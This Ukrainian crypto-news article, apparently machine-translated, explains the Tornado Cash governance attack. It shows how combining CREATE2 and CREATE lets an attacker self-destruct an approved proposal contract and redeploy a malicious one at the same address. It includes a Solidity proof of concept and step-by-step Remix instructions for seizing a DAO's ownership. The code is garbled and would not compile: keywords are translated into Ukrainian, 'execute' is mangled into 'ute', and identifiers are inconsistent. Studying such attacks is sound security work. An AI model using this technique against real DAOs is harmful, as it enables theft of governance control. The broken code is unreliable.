Атака Tornado Governance: як розгорнути різні контракти на одній адресі

Близько двох тижнів тому (20 травня) відомий протокол змішування валют Tornado Cash зазнав атаки на управління, і хакери отримали контроль (Власник) над контрактом на управління Tornado Cash.

Процес атаки виглядає наступним чином: зловмисник спочатку надсилає «звичайну» пропозицію, після того, як пропозицію прийнято, знищує адресу контракту, який має виконуватися пропозицією, і відтворює договір атаки за цією адресою.

Щодо процесу атаки, ви можете переглянути аналіз принципу атаки Tornado.Cash від SharkTeam [1] .

Ключем до атаки є розгортання різних контрактів на одній і тій же адресі. Як це досягається?

базові знання

У EVM є два коди операції для створення контрактів: CREATE і CREATE2.

СТВОРИТИ код операції

У разі використання new Token() для використання коду операції CREATE створена функція обчислення адреси контракту:

адреса tokenAddr = bytes20(keccak256(senderAddress, nonce))

Створена адреса контракту визначається адресою творця + Nonce творця (кількість створених контрактів), оскільки Nonce завжди збільшується поступово, коли Nonce збільшується, створена адреса контракту завжди відрізняється.

Код операції CREATE2

Під час додавання нового маркера soli{salt: bytes32()}() використовується код операції CREATE2, а створена функція обчислення адреси контракту:

адреса tokenAddr = bytes20(keccak256(0xFF, senderAddress, сіль, байт-код))

Адреса створеного контракту: адреса творця + користувацька сіль + байт-код смарт-контракту, який буде розгорнуто, тому можна використовувати лише той самий байт-код і те саме значення солі. Може бути розгорнуто на ту саму договірну адресу.

Отже, як різні контракти можна розгорнути за однією адресою?

Метод атаки

Зловмисник використовує Create2 і Create разом для створення контракту, як показано на малюнку:

Код, на який посилається:

Спочатку скористайтеся Create2, щоб розгорнути контракт Deployer, а потім скористайтеся Create in Deployer, щоб створити цільову контрактну пропозицію (для використання пропозиції). Обидва контракти Deployer і Proposal мають реалізацію самознищення (самознищення).

Після того, як пропозицію передано, зловмисник знищує контракти Deployer і Proposal, а потім повторно створює Deployer з тією самою планкою. Байт-код Deployer залишається тим самим, а планка залишається незмінною, тому та сама адреса контракту Deployer, що й раніше бути отримано, але в цей час стан контракту Deployer очищається, і nonce починається з 0, тому іншу атаку на контракт можна створити за допомогою цього nonce.

Приклад коду атаки

Цей код із:

// SPDX-License-Identifier: MIT pragma solidity ^0.8.17; договір DAO { struct Пропозиція { цільова адреса; bool затверджений; bool uted; } адреса публічного власника = msg.sender; Proposal[] публічні пропозиції; функція approve(address target) external { вимагати (msg.sender == власник, "не авторизований"); offers.push(Proposal({target: target, accepted: true, uted: false})); } функція ute(uint256 offerId) зовнішня оплата { Пропозиція зберігання пропозиції = пропозиції [proposalId] ; require(proposal.approved, "не схвалено"); вимагати (!proposal.uted, "uted"); offer.uted = правда; (bool ok, ) = offer.target.delegatecall( abi.encodeWithSignature("uteProposal()") ); вимагати (добре, "не вдалося виклику делегування"); } } договірна пропозиція { журнал подій (рядок повідомлення); функція uteProposal() зовнішній { emit Log("Виконаний код, затверджений DAO"); } функція EmergencyStop() зовнішня { selfdestruct(payable(address(0))); } } контрактна атака { журнал подій (рядок повідомлення); адреса державного власника; функція uteProposal() зовнішній { emit Log("Виконуваний код не схвалений DAO :)"); // Наприклад - встановити власника DAO як атакуючого власник = msg.sender; } } контракт DeployerDeployer { Журнал подій (адреса addr); функція deploy() external { bytes32 salt = keccak256(abi.encode(uint(123))); адреса addr = адреса (новий Deployer{salt: salt}()); видавати журнал (адреса); } } контракт Deployer { Журнал подій (адреса addr); функція deployProposal() зовнішня { адреса addr = адреса(нова пропозиція()); видавати журнал (адреса); } функція deployAttack() зовнішня { адреса addr = адреса (нова атака()); видавати журнал (адреса); } функція kill() зовнішня { selfdestruct(payable(address(0))); } }

Ви можете використати цей код, щоб самостійно пройти його в Remix.

  1. Спочатку розгорніть DeployerDeployer, викличте DeployerDeployer.deploy(), щоб розгорнути Deployer, а потім викличте Deployer.deployProposal(), щоб розгорнути Пропозицію.
  2. Після отримання адреси договору пропозиції пропозицій ініціюйте пропозицію до DAO.
  3. Викличте Deployer.kill і Proposal.emergencyStop відповідно, щоб знищити Deployer і Proposal
  4. Знову викличте DeployerDeployer.deploy() для розгортання Deployer, викличте Deployer.deployAttack() для розгортання Attack, і Attack відповідатиме попередній пропозиції.
  5. Під час виконання DAO.ute атака отримала дозвіл власника DAO.
Переглянути оригінал
Контент має виключно довідковий характер і не є запрошенням до участі або пропозицією. Інвестиційні, податкові чи юридичні консультації не надаються. Перегляньте Відмову від відповідальності , щоб дізнатися більше про ризики.
  • Нагородити
  • Прокоментувати
  • Поділіться
Прокоментувати
0/400
Немає коментарів
  • Закріпити